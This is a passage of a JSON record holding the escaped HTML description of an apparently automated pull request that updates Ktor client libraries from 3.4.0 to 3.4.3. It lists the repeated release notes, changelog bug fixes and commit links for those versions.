full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.0...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-client-apache` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-client-apache's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-client-apache's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/syfosmmottak/pull/482","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fsyfosmmottak/issues/482","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/482/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-10T05:15:36.000Z","version_change":"42.7.10 → 